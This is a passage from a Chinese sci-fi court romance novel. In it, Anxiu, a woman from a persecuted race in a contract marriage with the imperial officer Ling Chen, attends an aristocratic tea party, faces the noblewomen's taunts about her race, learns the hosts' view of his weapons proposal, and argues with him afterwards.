“我不后悔,凌宸,”她也毫不示弱地看向他,“我接受这次挑战。”
弥漫着帝国上层尔虞我诈的生活,开始了。
“很好。”凌宸当机立断,将两份文件发送到她的通讯器。
“这一份是克诺洛斯夫人的资料,她很注重夫妻感情,所以第二份资料是关于我的。今天之内把这两份资料背完,我晚上回来检查。”
这样严厉的语气,让她不禁想到那些皇室的私人教师。
凌宸锋利的视线刺过来:“你在笑什么?”
她神情自然地回答:“我没笑。”
“合作还没开始,就想着对我撒谎了?”
他的视线停留在她身上,好像一定要她表态,就算是她也有些扛不住这般持续的威压。
她敛神道:“保证完成任务。”
这人的大脑到底是什么做的?刚刚的面部表情明明控制得很好,她可以肯定几乎不会有人知道她在想什么。
凌
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宸吃完早饭后一刻也不耽搁地离开了大宅,智能体系统开始运转,偌大的餐厅很快像从未有人使用过一样干净整洁。
面对空无一人的宅邸,安秀有些理解那些夫人的感受了。
但跟她们不一样的是,她挺喜欢这样。
一个独立宽阔的空间总能给人希望。接下来一天,她都在准备参加茶会中度过。
夜幕降临,房间不知不觉变成了暖黄色,她从堆积如山的资料中抬起头,打了个哈欠。
光有凌宸那两份资料还不够,她又动用联想能力收集了可能有用的信息。
智能体发出播报,午夜来临,巨大落地窗外的星辰自空中倾斜而下,像宅邸前的湖水一样波光粼粼。
凌宸还没回来吗?她有些困了。
这时,有一条消息发到了通讯器。
「明早检查。」
这是凌宸发来的消息,刚好卡在她倦怠的时间。
此时的凌宸刚坐上飞行器,脑袋里全是白天工作的内容。
艾尔维斯共和国的成立令皇室十分不安,近几年的军备研发和调度通通转变成针对共和国的方向。
方向的转变,意味着一些人损失利益,另一些人则赚得盆满钵满。
作为帝国直属军备统筹委员会的成员,想要推进军备试验和落地并非易事。
今天,又有人因为对议案不满而产生矛盾了。
虽然他很不想承认,但是这样的工作强度确实让人有些疲惫。
他这个年龄段的大多数人在干什么,读大学吗?
放任思绪飘忽了一会,安秀的脸突然出现在脑海,这让他愣了一下。
为什么会突然想到她?
他对这个突然闯进他生活的人没有任何好感——虽然他不讨厌她——不,他讨厌这个不由分说打乱他人生轨迹的人。
只是因为家里多了这个人,时常会见面,况且她还是今后的利用对象,想到很正常。
他习惯性严谨地思考这件事。
突然,他的通讯器震了一下。
「好。」
此时窝在床上的安秀想了想,觉得这样不够“像个妻子”,又打了几个字。
「早点休息哦,工作不要太累。」
她思索了片刻,觉得还是不够,又加了个拥抱表情。
凌宸怔了几秒,不知怎的,嘴角勾起连自己都没注意到的弧度。
安秀发完消息后,对面的人意料之内地没回,便去睡了。
-
“克诺洛斯茶会成立的初衷是什么?”
“为了纪念克诺洛斯夫妇缔结婚约设立的休闲性质的茶会,仅限女性参与。考虑到宾客的身份,实际是具有政治性质的交谊会。”
“我的爱好是什么,你喜欢跟我做什么?”
“烹饪、星际战棋。我最喜欢跟你下棋,一局能下很久。我喜欢玩舰长位,而你……”
“停,太假了。”
原本信心十足的安秀泄了气:“哪里假了?”
她特地了解了星际战棋的游玩规则,甚至还玩了几把,肯定能编得头头是道。
坐在书桌对面的凌宸敲了敲虚拟屏,说:“星际战棋对军事素养的要求很高,所以玩的人也不多。你确定你的等级能高到跟我组队?”
她一时语塞,只能悻悻道:“好吧。”
“而且,我也没空玩战棋了,换一个。”
5. 临行茶会
“那就烹饪吧。话说回来,你真的会烹饪吗?”
人类在星际发展数千年,智能体系统替代了几乎所有的家庭劳动,各种预制菜品更是泛滥。
更别提,像凌宸这种身居高位的人,向来只有别人伺候他的份。
他喜欢烹饪,大概只是停留在观看烹饪过程或者随便做做的程度吧?
令她没想到的是,凌宸说:“那天的早餐是我做的。”
她神色讶然:“真的?”
她又想起那天美味的鹿鸳兽排和月尘花调料。如果不是凌宸告诉她,她还以为是最新版本的智能体或者私人厨师做的。
实在想象不出他这样不苟言笑的人在厨房忙碌的样子,何况他工作这么忙。
凌宸权当没看到安秀的神情——他一点也不意外。
“最后一个问题:最近约会的地点是哪?”
“我们去了帝国奇异生物园,有彩色的猴子和蓝丝鸟……”
凌宸提出了质疑:“新婚夫妇一般不会去动物园吧。”
安秀反驳道:“可是彩猴和蓝丝鸟都是当地特色,有爱情典故的。”
凌宸表示并不喜欢这个解释。
她又说:“去自然胜地泡温泉或者看海怎么样?”
“那样有点太刻意了。”
“那恩爱的夫妻应该是什么样的?”
这个问题问出来后,凌宸沉默了,她也沉默了,她们都不知道答案。
寂静的房间内的气氛似乎变得有些尴尬,因为她们同时想起这一切只是逢场作戏。
最终,凌宸轻咳一声,结束了这次检查:“就到这里吧,你准备的差不多了,笔记做的很详细,还不错。”
见他一副顾左右而言它的的样子,她忍不住勾了勾唇,起身离开。
正当她要开门离开时,凌宸不知什么时候,像一只藏匿气息的猎豹一样站在了身后。
一只骨节分明的手握住了门把,为她开门。
“这扇门只认我的生物码,我来开。”
这个角度,几乎把她整个人环住了,独属于他的温热气息传递过来。
刚想接话的安秀僵了僵,把话咽了回去——这时候说什么都显得怪怪的。
凌宸原本只想帮她开个门,但看到她这幅样子,内心的某处松动了一下,总觉得不做点什么让她有更大的反应,会很可惜。
他可记得安秀刚刚的笑,他要报复回来。
于是,安秀听到身后的人,用低沉悦耳、略带笑意的嗓音说……
“加油,夫人。”
有什么东西烧了起来,她匆匆离开了房间。
茶会当天,安秀和索菲娜来到了现场。即便她们已经见识过皇室奢靡,还是为这里的梦幻场景感到讶异。
克诺洛斯茶会位于一颗环绕帝国主星的星球,是一座不小的悬空花园。
上方是透明如水的屏障,看似脆弱,实则是可以抵挡千万吨级的粒子冲击的防护罩,可以透过它观察上空的星舰和星球轨迹。
这里的场景被调整为帝国春日的午后,粉色花瓣和上空游弋的紫鲸让安秀不禁想到古中国课文里的“世外桃源”。
正式的茶会在镜湖,位于整个空中花园的内围。
镜湖里的“湖水”是某种记忆金属,将桃园茶会和上方星空完美融合,像无限延伸的幻象。
如果是患有恐高症的人,看到这震撼的湖水里的幻象,大概会晕过去吧?
安秀和索菲娜正要进去,却被拦住了。
女侍以一种官方客气的口吻说:“不好意思,安秀夫人。您的侍女不能一同进入。”
她礼貌地询问:“为什么?我记得她的邀请函上说可以进入内围。”
“请稍后,夫人。”侍从调出虚拟屏确认了一遍,转过来给她们看。
“这里显示您的侍女的邀请函失效了,可以去外围等候。但您的邀请函没有失效,要参加茶会吗?”
“嗯......”她优雅地摩挲下巴,眉头轻撇:“我考虑考虑。”
安秀把索菲娜拉到一边,低声说:“她们想将我们分开。”
索菲娜有些担忧地问:“那怎么办,小姐,要是茶会发生危险我该怎么保护你?”
每个参加茶会的正式成员最多带一名侍女,原本凌宸已经为她物色好了人选,但安秀坚持要索菲娜同行。
在知道索菲娜有过人的战斗力,甚至不逊于那些专业保镖后,凌宸同意了。
她看着从小陪伴自己的满脸担忧的侍女,心里感慨她真是天真可爱。
索菲娜只关心她的人身安全,可这场茶会远远不止人身安全这么简单。
“哪有那么巧合的事,这是她们让我孤身一人参会的手段,虽然不知道目的是什么,但她们已经成功了一半。”
她已经下定决心进入茶会。
如果不进去,她失去的可不只是情报,在凌宸心中的地位——不,在凌家的地位,必然会下降。
假若她不战而退,岂不是要被身为军人的凌宸耻笑?再者,她也是做足了准备来的,这点阵仗吓不到她。
但是,考虑到这关乎凌宸的事业,她还是决定询问一下他的意见。
另一头的凌宸知道侍女被拦后并不意外。
“这种小事不用问我。”他似乎在一个颇为隐秘的场所,背景黑漆漆的。
“那我进去了。”
“随你。”
通讯那头淡漠的声音消失了,留下一串忙音。
“小姐你一定要小心,要是有人威胁你,你就按我教你的招式打回去!”
索菲娜挥了挥拳,在空气中比划了几下。
“好。”她被这般模样逗笑了,笑容像茶会的阳光一样明媚。
安秀款款走向看门的侍从:“我决定了,照常参加茶会。”
侍从被她春风般的笑容打动了。她已经在茶会工作了很多年,以她敏锐观人的能力来看,安秀这种气质的人很少见。
明明看上去毫无攻击性,说话也很温柔,却莫名带有一种强韧的锋利——但跟那些笑里藏刀的不怀好意不同。
“请吧。”
于是她走进轻声笑语的茶会,和煦的风拂过脸颊。
至于她是不是一只走进美丽陷阱的猎物,就要看之后了。
安秀提着裙摆,步履轻盈地穿过花团锦簇的草坪。
夫人小姐们已经到得差不多了,见有这么一个新人来,无一不将打量的视线投在她身上。
她一一扫过那些面孔,然后走到了一个不容易被注意到的角落,观察情况。
古井无波的镜湖泛起了涟漪。与此同时,
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一阵悠扬的古钟声响起,仿佛穿越千年,在胸腔震颤。
这是茶会开始的标志。
安秀随其她人来到茶会中央的露台,一个气势不凡的女人被一群侍女围绕着登上台阶。
她身穿深色、繁复且华丽的修身连衣裙,头戴造型复古优雅的纱帽。纱网装饰刚好半遮住眼睛,增添几分神秘感。
原来这就是传说中的克诺洛斯夫人。
众成员在夫人露面后完全安静下来,尊敬地仰视这位茶会主持。
“我宣布,”克诺洛斯夫人魄力十足的声音在每个人耳边回荡。
“克诺洛斯茶会,现在开始。”
夫人话音落下,气氛瞬间变得轻松欢快起来。
美妙的音乐响起,与鸟鸣树簌完美融合。
宾客之间的交谈声由于特殊的吸音原理被体贴地盖了过去,一定范围外听不到任何声响。
夫人小姐们三三两两聚在一起,像茶会盛开的簇簇花朵,安秀则游走于花丛间,寻找克诺洛斯夫人的身影。
在宣布完茶会开幕后,克诺洛斯夫人就不见了。茶会的时间有限,必须快点找到她。
这时,一阵宛如珠玉落金盘的笑声传了过来。
一位气质淡雅的夫人出现在眼前,她有一头棕色卷发和一双精灵般的绿色眼睛。
她看着安秀,笑道:“茶会终于来了个新人。她是谁?”
这个问题不是让安秀回答的,夫人侧头倾听侍女的介绍,神色了然。
“亲爱的奥黛丽·安秀,很高兴认识你。噢,你的侍女没有跟你一起来吗?那我自我介绍一下好了,我是洛可·米莉,你可以叫我米莉夫人。”
“很高兴认识你,米莉夫人,叫我安秀就好。”
她们在彼此的脸颊上亲吻,她闻到米莉身上淡淡的茉莉香气。
她们并肩走在由精细打磨的卵石铺成的路上,安秀沉静地开口:“其实我对你的印象很深,米莉夫人。”
听到这话的米莉有些意外:“为什么,我们之前没有见过吧?”
安秀莞尔一笑:“因为你的绿色眼睛,夫人,整个帝国恐怕也找不出几个你这样的眼睛。它们好像灵动的翡翠鸟,马上要扑翅飞走。”
虽然茶会不会给每个宾客提供入场人员信息,但凌宸给了她一份人物档案,是所有可能参会人物的简单介绍。
米莉出身贫寒,毕业后与一名叫凯恩的矿产商人结了婚,现在是全职太太。
原本这些是侍女的活,但为了以防万一,她和凌宸都觉得应该有备无患。
果不其然,米莉在听完这番话后开心地眯起了眼睛。
“没有想到你的嘴跟蜜一样甜,比我丈夫当年还会夸人。哎,说起那个坏家伙,年轻的时候嘴有多甜,现在就有多冷淡。”
她优雅地皱眉,连连叹气:“连今年生日都只用手工毛衣打发我,真是一年不如一年。”
“米莉夫人,你和他在一起这么久,他还愿意放下繁忙的工作为你亲手织毛衣,比起虚浮的甜言蜜语,这种行动才更彰显他对你的爱呀。在我看来,他这是越来越爱你了,真叫人羡慕。”
“噢,别提那家伙了,他就是个笨蛋,织毛衣的时候还把手划伤了。”米莉嘴上抱怨,实则面带幸福的笑意,“你和那位凌准将,现在怎么样了?”
6. 危险茶会
帝国军备统筹部的最低入职级别是将级,因此凌宸在帝国第一防线军校毕业后直升准将。
她有点惊讶米莉如此清楚凌宸的职位。
“我们很好,米莉夫人。本以为这场匆忙的婚姻不会令人愉悦,但现在感觉很好。”
米莉观察安秀的表情,后者一脸淡然知足的样子,不像在说谎。
“那就好,那就好。”美丽的夫人用扇尖点了点自己的胸脯,“虽然这种话在你面前说不好,亲爱的,但很多人以为你们不合呢。”
“为什么这样说?”
其实她更想立刻找到克诺洛斯夫人,而不是在这里讨论她和凌宸的关系。
她们的关系,她心知肚明。赶紧敷衍完这个话题然后去找人吧。
然而米莉扶了扶额头,接下来的话让安秀心中警铃大作。
“你才从皇宫里出来,可能还不清楚。有些不知好歹的家伙一直在传你和皇室的谣言,还说凌宸知道后很生气,连着几天不回家见你。”
安秀张了张嘴,缓了几秒才道:“没有这种事,他只是工作太忙了。前阵子我还吃了他做的早餐。”
什么时候传的谣言?她和二皇子的事被人看到了?凌宸知道多少?
“我只是跟你说说,你别往心里去。我们都知道这是假的。”
她们交换了个眼神,相视一笑。
安秀心里清楚,自己欠了米莉一个人情。
虽然不知道她想从她这获得什么,但对于她们这种地位的人来说,有的时候,流言蜚语比真金白银的伤害来得更大。
“是时候把时间还你了,亲爱的。你接下来要去哪?”
“我想去趟洗手间。”她还不想把此行的目的告诉米莉。
“噢,我知道的,”米莉揶揄,“像你这样的人总有秘密。”
像我这样的人......?
没等安秀反应过来,米莉夫人又像来时那般笑着走了。
她终于找到一位游走在茶会间的高级侍从,问到了克诺洛斯夫人的位置。
“您的访问请求已经发送给夫人,她说您需要在花藤亭等候片刻。”
那是一个造型清雅的花藤亭,淡紫色藤蔓和花朵沿亭下垂,随风动起来时像下了花雨。
克诺洛斯夫人坐在最显眼的正中间,两边是陪同的侍女,其她夫人正环坐在一起谈笑风生。
见有新面孔来了,正在聊天的夫人们停下片刻,数双美丽的眼睛一起打量她。
安秀优雅地行了个礼:“我可以加入你们吗?”
“当然可以。”
一个看上去颇有资历的女人颔首同意了,剩下的人微笑示意,移开目光。
米莉坐在一边,面露惊讶之色,招呼她过来:“安秀怎么也来了?快坐我这吧。”
可是米莉的位置离克诺洛斯夫人很远,安秀有些犯难。
夫人说叫她在花藤亭等一会,想必是为了观察她的行为。如果这种时候坐到离她最远的位置,岂不是连表现的机会都没有了?
“这不是凌准将的夫人吗?欢迎呀,我们刚好想认识认识你。”
一道陌生的声音打断了她的思考,那是一名出身高贵的年轻女性,身穿精致的鱼尾粉裙,裙侧有珍珠点缀,一看便移不开眼。
坐在她那一片的人,皆是实打实帝国上层出身的贵族,能被邀请是难得的荣幸,如果拒绝也要掂量一下这么做的下场。
综合各种情况来看,安秀没有拒绝的理由。她歉意地对米莉笑了笑,走到那一圈贵族女性中间。
“我还是第一次见到皇宫来的女人,”黛露??尔兰牵起她的手,柔嫩的指尖抚摸她的手背。“瞧瞧,艾达,她的眼睛果然和传闻一样是红色的,真是神奇。”
安秀总觉得黛露说的“皇宫来的女人”特指她的种族。以及,不知是不是她太过敏感,其她人看她的目光就像在看新发现的物种。
“让我看看,”戴着蓝宝石首饰的艾达稍稍前倾了身子,“头发黑黑的,看上去跟正常人没什么两样。”
她们笑了起来,笑声像击鼓的锤子一样打在她的心上。
安秀突然很想离开这里。
她维持着表面的平静,不动声色地摸了摸颈环:“如你们所见,我跟正常人确实没什么两样。”
粉裙的黛露笑意未消,放开了手:“你不要误会,我们没有恶意。”
各种温声细语的附和,回荡在耳边。
“是啊是啊,只是没想到真的跟人一样,还以为你会有一对翅膀或者爪子什么的,就像深渊神话里说的那样。”
一个看上去沉稳的夫人开口了,说出来的话却让她更不自在:“对了,她的手也跟真人的手一样吗?没有长出鳞片刺伤你吧?”
“我的手……”
“没有,拉尔拉德夫人。”黛露像没听到似的打断了安秀,把头转向艾达,“艾达,你输了哦,记得把你珍藏的粉水晶送我。”
她们在用我的身体打赌。
面对这种直接却无法当众揭穿的歧视,安秀心里淤结了一口气。
从小生活在皇宫的她并不是没有因为特殊身份遭到一样的目光,但从未有人如此直接地谈论她的身份。
可是,她们的笑容看上去很友善,说话时轻声细语,礼节无可挑剔,就算反驳也只会被诟病心胸狭隘吧。
或许……真的是因为她想太多了?
因为她从小被困在这个特殊的身份里,无法直面它,所以在别人正常谈论的时候才会难受。是她没跟自己和解,才会把别人想得那么坏。
这时,一道意料之外的清脆的声音响起。
“安秀看上去不喜欢这样。要不,我们还是别拿她的身体取乐吧?”
为她说话的人居然是米莉,此时正坐在角落,放下了手上的花茶,试探性地看向她们这边。
“喔!”黛露惊讶地捂起嘴,看向其她姐妹:“你们听见了吗,她刚刚说‘我们’……”
艾达刚输掉了粉水晶,心情不佳,米莉的话让她的情绪有了发泄口。
“我们不是很熟吧,你这种人还想教我们做事?哦,别以为我们不知道你巴结凌夫人的那副嘴脸,真是可笑。恕我直言,我不明白为什么一介平民会出现在克诺洛斯茶会!”
其她的贵族女人笑而不语,在一旁看好戏,而一旁的米莉显然落了下风,抿嘴不语。
“艾达小姐,请您自重。米莉和我是
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好朋友,为好朋友说话,算不上巴结吧?”
安秀微笑着打断艾达发泄,一双红眸在花蕊的阴影下愈发暗沉。
“而且,”她深呼吸,说出让所有人倒吸一口气的话,“没有任何规定说平民不能参加茶会,秉持这种观点的人是不是太过狭隘了?”
艾达气得脸色一青,幽怨的眼神射在她身上。
安秀在心底深深叹气。
还没跟克诺洛斯夫人说上话,她就结仇了。
“呵,凌夫人!”艾达的声音变得尖刻,像断了弦的小提琴一样刺耳,“你居然觉得这样的女人应该和我们坐在一起,做你的朋友,呵!没想到你这样同流合污,我就不该对红眼睛抱有希望......”
即便艾达气得脸蛋通红,还是限于教养,来来回回只说得出那些个词,但这已经是她能说出的最刻薄的话。
当然,对于在场的高贵存在来说,这已经相当过分了。
要是放在以前,安秀会气得发蒙,但在承受过兰斯二皇子更为粗鲁的辱骂后,她毫不受影响。
“首先,我不希望您叫我凌夫人,我有名字,是皇室赠予的名字——安秀;其次,当众质疑米莉的身份,是对她的不尊重,更是对茶会规则和主人的不尊重,最后......
她鼓起勇气、一字一顿地说:“米莉是对的,我确实觉得你们不够尊重我。我相信你们没有恶意,但作为茶会的一份子,我们应该平等对待、其乐融融,不是吗?”
安秀说完,对米莉笑了笑,米莉做了个“谢谢”的口型。
一直察言观色的黛露虽然脸色不是很好,但也微笑附和:“是呀、是呀,应该平等,互相尊重。”
这时,坐在克诺洛斯夫人身边、穿着明黄色礼裙的麦尼·霍亨索门夫人轻笑了一声。
所有人不由自主地坐直身子,一句话都不敢说,等待她接下来发话。
霍亨索门,帝国最高贵最遥不可及的姓氏,所有人挤破头都想沾边的姓氏。
麦尼是当今皇子堂兄弟的夫人,正宗的皇亲国戚。
“才第一次到茶会,就会讲大道理训话了,这么想坐上茶会主人的位置吗?”
这番话像冰水彻头彻尾地浇了安秀一身,浑身发冷、后知后觉。
明明最高地位的人就坐在眼前,她有什么资格替她们讲道理?
自己还为说了这些话沾沾自喜,真是......太嫩了!
她垂着眼眸、指尖微颤,拼命想保命的话术。
偏偏这时候,艾达又过来火上浇油。
“还说什么不尊重茶会的主人,我看她就是想取而代之!到时候怕是要把我们全赶出去,让那些不三不四的人进来。”
黛露适时地提出解决办法,但无异于又浇了一把油:“安秀可能不是故意的。不过,像刚刚那种话,有点伤大家的感情,要不安秀和米莉向大家道个歉,这事就算过去了?”
说完,她悄悄看了看麦尼的脸色,可惜什么都没看出来。
米莉被这阵仗吓坏了,怕得浑身发抖,用手拉了拉安秀的袖子,想赶紧道歉了事。
此时的安秀心如刀绞。
让她和米莉向所有人道歉?开什么玩笑。
7.我亲自接
她也就算了,可是米莉是完全无辜的。如果她们今天弯下腰,以后就再也不可能站起来了。
麦尼和克诺洛斯夫人到底在想什么?她们到底想看到什么?
难道说,这根本不是一场考验,而是早就设计好的陷阱?她们早就知道她来的目的,所以支开索菲娜,让她一个人受欺辱?
所有人的目光铺天盖地压下来,安秀头皮发麻,手脚冰冷,可是她不愿意就这么屈服。
她尽可能让自己的语气听上去平和、冷静。
“我对刚才的鲁莽行事感到十分抱歉。麦尼夫人说得对,由于是第一次参加茶会,我的经验尚且不足,无意冒犯到了茶会主人,愿意承担相应的后果。
“我从小被圈养在皇室,没有亲人,所以大家讨论我身世的时候我才会感到受伤。原本我清楚大家没有恶意不打算计较,可我唯独不想看到好友受到非议,所以才情绪失控。
“要惩罚的话,惩罚我好了,米莉没有做错任何事。”
这几句话堪称天衣无缝,众人陷入良久的沉默,米莉翠绿的眼睛满是泪水,紧紧握著她的手。
艾达想了一会,还是气不过,她可是堂堂中将的女儿,自幼被捧手心里长大,怎能轻易放过当众对峙她的安秀?
“说起道歉,你和米莉难道不应该跟我道歉吗?本小姐都要被你们气死了!”
“如果这是我的惩罚,我会接受。”
“......你!”
“你出去吧。”
克诺洛斯夫人的声音突然响起,各怀心事的众人将目光投向这位茶会主人。
安秀的心又悬了起来。
谁出去?是她吗?
像印证她的想法似的,克诺洛斯夫人的视线直直地看向自己的方向。
她闭上了双目,只剩下满腹的沮丧。
或许,凌宸说得对,想要靠近克诺洛斯夫人太难了,自己根本不该接下这样的挑战。
如果这次被赶出去,她和凌宸在上流名贵圈会被当成谈资笑好一阵。
她搞砸了。
艾达得意地笑了起来:“听见没,夫人叫你出去。”
安秀抬起眼眸,最后看了克诺洛斯夫人一眼,夫人的帽檐依旧遮住了半边脸,看不见此刻的神情。
她转身离开,正当大家以为这次事件已成定局时,夫人又发话了,这次的语气带着一丝不满。
“我说的是你,艾达·森尔。”
这突如其来的反转把艾达打击懵了。
“我?夫人,我吗?”
艾达指了指自己,然后突然用双手捂住了嘴,哭着小跑了出去。
艾达与她擦肩而过,她震撼在原地,讷讷转身,第一次看到了克诺洛斯夫人的脸,夫人刚好也在看自己。
“你过来吧,大家自行玩乐。”
安秀的气息还未平稳,在一片恍惚中上前跟随夫人,冰冷的手下意识抓了抓另一个冰凉又柔软的东西,
心有余悸的米莉这才发现,看似冷静的安秀的手上,全是冷汗。
安秀和克诺洛斯夫人走的小路上铺满了花的影子,不远处的湖面刚好有一头幻鲸飞起。
两旁时不时飞过叫不上名字的小鸟,鸟鸣婉转,花藤亭的夫人小姐们已经被她们甩在身后。
安秀刚要问些什么,克诺洛斯夫人沉着的嗓音响起:“关于刚才的事情,你一定有很多疑问,安秀。但现在不是问的时候。”
安秀只好把话咽了下去。
关于为什么要当众为难她、为什么要把将军之女赶出去,这一切大概不是她能知道的东西了。
那么,是时候解决凌宸的事情了。她道:“夫人,我......”
“茶会中的一切,都被誓木镌刻在湖底。”
克诺洛斯夫人忽然说出这句看似跟她们毫不相干的话,安秀仔细思考了片刻,像是想到了什么,冒出一身冷汗。
她的皇室教师教过,誓木是一种看上去跟红木没什么区别的观赏木。
它是除了通讯器等粒子设备外记录信息的媒介,在感应到特定频率的关键词时,其木纹会产生微妙的变化,记录当事人的一言一行。
普通人并不知道这种东西的存在,是皇室为了反间谍和叛徒研发的东西,居然会出现在茶会。
细思恐极的是,她们经过的小路两旁、镜湖的周围、甚至花藤亭附近,都种满了这种树。
安秀一阵后怕,如果刚刚直接把问题问出来,岂不是要记录在镜湖里被不知什么人听到了。
“没什么好惊讶的,来会的各位都是有身份的人,避些嫌也是好的。跟我来吧。”
于是,她随夫人来到远离镜湖的一片花海。
夫人用极具智慧的眼睛看着她,说:“想必你有重要的事情找我,说吧。”
安秀终于可以按计划打探克诺洛斯对那个提案的想法。
“夫人,”她谨慎地斟酌用词,“如果一个人要借助敌人的力量打击敌人,你觉得这个想法怎么样?”
人类在很久前发现了宇宙中的庞大能量体,引起部分人异变成异能者,这个能量体名为“深渊”。
帝国严格控制着这些异能者,发展更为“人类”的科技,例如星舰。
但是艾尔维斯共和国成立后,大力开发深渊粒子资源,对帝国的军部系统造成了不小冲击。
从前,只有一个庞大的帝国掌控着全人类发展的方向,而如今这个从帝国分裂出来的国家居然敢顶撞伟大的帝国。
军备部门的先锋力量苦思冥想应对方法,凌宸的提案正是众多提案中的其中一个。
——打造深渊粒子和星舰结合的超强武器,深渊粒子舰。
克诺洛斯夫人沉吟一阵,给出了她的想法:“自古以来,这都是百试不厌的战术,不过也要看怎么用。”
于是安秀接道:“深渊粒子已经存在了很久很久,如果能将帝国星舰和粒子结合,那么帝国又会踏上新的台阶。”
夫人摇了摇头。
“帝国之所以一直按捺着研究深渊的冲动,正是因为它太过强大,带来的风险太大。”
克诺洛斯夫人的话锋一转,直指安秀自己。
“你有没有想过,你如今的处境,正是拜深渊粒子所赐?”
安秀沉默,心脏刺痛了一下。
她当然知道。
先祖强大的异能基因,是在深渊粒子还未被帝国控制时觉醒的,可这种能力对她们来说跟诅咒没有两样。
她从别人的只言片语中知道她们种族的存在,至于先祖如何得罪如今的皇室,又如何全族沦落到如今的地步,一
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概不知。
她只知道,使用异能会很痛,而且不能过问自己的身世,否则会招来承担不起的后果。
“如果我没弄错,你的丈夫正在研究这方面的武器吧。”
克诺洛斯夫人轻叹一声,眼神如同深林里的巨树般苍凉。
花海刮起了风,两人的裙摆随花瓣飘起,上方的天空广阔无边,不知怎的,安秀忽然鼻子一酸。
“我们都不知道技术会引领人类走向何方,但总有人愿意一遍遍试错,直到找到对于历史来说最正确的选择。
“我们夫妻二人做的,不过是为这些人加上一把火,让她们走得更远罢了。”
说到这里,答案其实已经明晰。
克诺洛斯夫妇对凌宸的提案,持绝对赞成的态度。
“谢谢您,夫人。”
离开茶会内围,安秀看到外面安逸、平和的景象,恍若隔世。
这场茶会发生了太多,从期待、意外、警惕到冲突和无奈。
再到现在,不知如何形容的感觉。
安秀找到浮桌旁的索菲娜,走上前,有些疲惫地望向她。
就像一个正在泄气的气球。索菲娜虽然不知道发生了什么,但还是拍了拍安秀的背。
“小姐,你还好吗?”
“回去吧,路上跟你说。”
两人来到接驳点,却没看到来时的悬浮艇,取而代之的是一艘通体黑色的庄严的高级舰,上面有帝国军方的银色标识。
舰门无声而迅速地打开,气宇轩昂的身影出现在眼前,正是刚结束工作的凌宸。
索菲娜退到了一边,凌宸迈着沉稳的步子下来,为安秀献上一个温柔的吻手礼。
安秀脸一红,想起不久前书房的那一幕,想把手缩回去,可是那只戴着黑色军用手套的手坚定且不由分说地拉住了她。
这是要闹哪出?
大脑过载的安秀一时没反应过来,看向他的眼神中带有一丝疑惑。
“哎呀呀,瞧瞧这对新婚夫妇,感情真好呢。”
米莉和她的侍女路过,笑着调侃安秀。
“夫人,请吧。”
凌宸淡淡微笑,请她上舰。
在米莉等观众的眼里,是忙于工作的凌宸在茶会结束后第一时间来接妻子,还轻轻搂着她的肩膀,要多恩爱有多恩爱。
不过只有安秀知道,凌宸保持了相当的距离——他的手根本没碰到她的肩膀。
连眼神都是淡淡的。
即便知道她们并不相爱,安秀的心里还是有一点不好受。
大概是茶会时的情绪波动太大了,她还没缓过来;也可能是凌宸这个家伙演得太天衣无缝,到了比她还游刃有余的地步,让她不爽。
她思来想去,把原因归结为“她不喜欢主动权被夺走”。
要演,就两个人一起演。
然而,一旁刚下班,从军部大楼赶过来的凌宸压根没想那么多,只当这是一次“例行公事”。
在他看来,无论事大事小,既然决定做了,就必须在各个细节做到完美。
所以,当安秀的手突然探上他的腰时,他虽然表面风平浪静,但内心的震惊程度不亚于被轰了一梭能量炮。
见身旁的人僵了一下,安秀得意地勾起唇角,保持这个姿势跟他上舰。
8.一定要吗
凌宸的腰比安秀想的要细,哪怕隔着挺括的军装也能感受到内部有力的肌肉。
安秀并不是极端保守的人,很想趁凌宸无法反抗的时候掐两把,但看到某人已经黑成锅底的脸,硬生生忍住了。
她可不想承受准将大人的怒火。
终于结束了漫长的登舰,安秀在凌宸的注视下若无其事地拿开手,坐到对面。
如果在这种问题上追究,倒显得心胸太过狭隘。所以,凌宸也若无其事地喝了口水,坐到安秀对面。
他一边默默喝水,一边说服自己不要太在意刚刚的事。安秀这么做,应该是在他配合演恩爱夫妻,既然刚才有人看到并做出了积极反馈,那么目的就算达成了。
身为帝国军人,只要能完成目标,无论使用什么手段,通常来讲都是可以接受的。
想到这里,他的心里好受了一些。
坐在对面的安秀不知道凌宸在想这个,眼睁睁看着他把一整杯水喝完,心道居然这么渴吗,这杯水到底有多好喝?
他一定为了提案在军事会议上说得口干舌燥,工作真辛苦。
“结果怎么样?”
凌宸又恢复了长官的气势,一上来就问她的工作成果。
“克诺洛斯夫妇支持你。”
安秀言简意赅地给出答案,然后就没说话了。
她觉得自己已经说完了。
凌宸也没说话,双腿交叠,以一种放松的姿势靠在座位上,双目炯炯有神地看着她,就像某种蓄势待发的猎食者。
“然后呢?”
“没然后了。”
凌宸周身的气压瞬间低下来:“你的态度就这样?”
安秀皱了下眉。
又来了,这种不由分说、压人一头的气势。刚刚还好好的,立马就变脸了,这个级别的人都这么阴晴不定吗?
“我不知道你指的是什么。答案已经告诉你了,我没有辜负这个机会,难道这不是你想要的吗?”
凌宸冷哼一声。
“难以想象你这种察言观色的能力是怎么打探到消息的。我要的是详细的参加茶会的经过,无论你遇到了谁说了什么话,都必须事无巨细、一五一十地告诉我。明白了吗?”
他最后四个字咬字极重,狠狠敲在安秀的自尊心上。
“......我不想告诉你。”
她本就不希望凌宸知道茶会上发生的那些事,这么做跟当着他的面揭开伤疤、乞求怜爱有什么不同?
她在别人眼里就是个怪物。
无论某些虚伪的贵族再怎么友好,她也能看到那些笑脸下隐藏的忌惮和蔑视。迄今为止,凌宸还没发表过对她身份的看法,她也不想谈论这个话题。
在安秀看来,她们是平等的合作关系,如果让凌宸知道她正在受到歧视,那凌宸会怎么看她呢?
她敢打赌,他一定会在潜意识里觉得她就是个怪物。这已经严峻到不是权不权力的问题,而是人最基本的尊严问题了。
“安秀,你确定要跟我对着干吗?”
凌宸显然不了解她的思绪,再度施压:“我们之间的合作是什么很随便的东西么?!”
“我有我的理由,不想告诉你发生了什么,你也没必要知道。你已经拿到答案了不是吗?”
“那我说说我的理由。”凌宸摄人的目光刺在她身上,“你真的觉得我让你参加茶会,仅仅是为了拿到这个情报?
“这个茶会的人牵连的关系非富即贵,每个人说的每句话、每个行为都有可能影响今后的局势,我花巨大代价让你收到邀请函,结果你宁愿为了某些自私的理由瞒着我,是吗?
“别忘了你答应过我什么。有关凌家事物的一切决策权在我,如果你还是把我们的合作当成可以随便应付的家家酒,无法提供预计的价值,那么从今往后待到一边,别碍事。”
安秀半天没说话,那双红宝石般的眼睛,在舰艇外深空的光影变幻下琉璃般流转。
她的手指微微蜷缩,胃部翻涌,死死盯着凌宸。
终于,她在一片窒息的沉默中坦白。
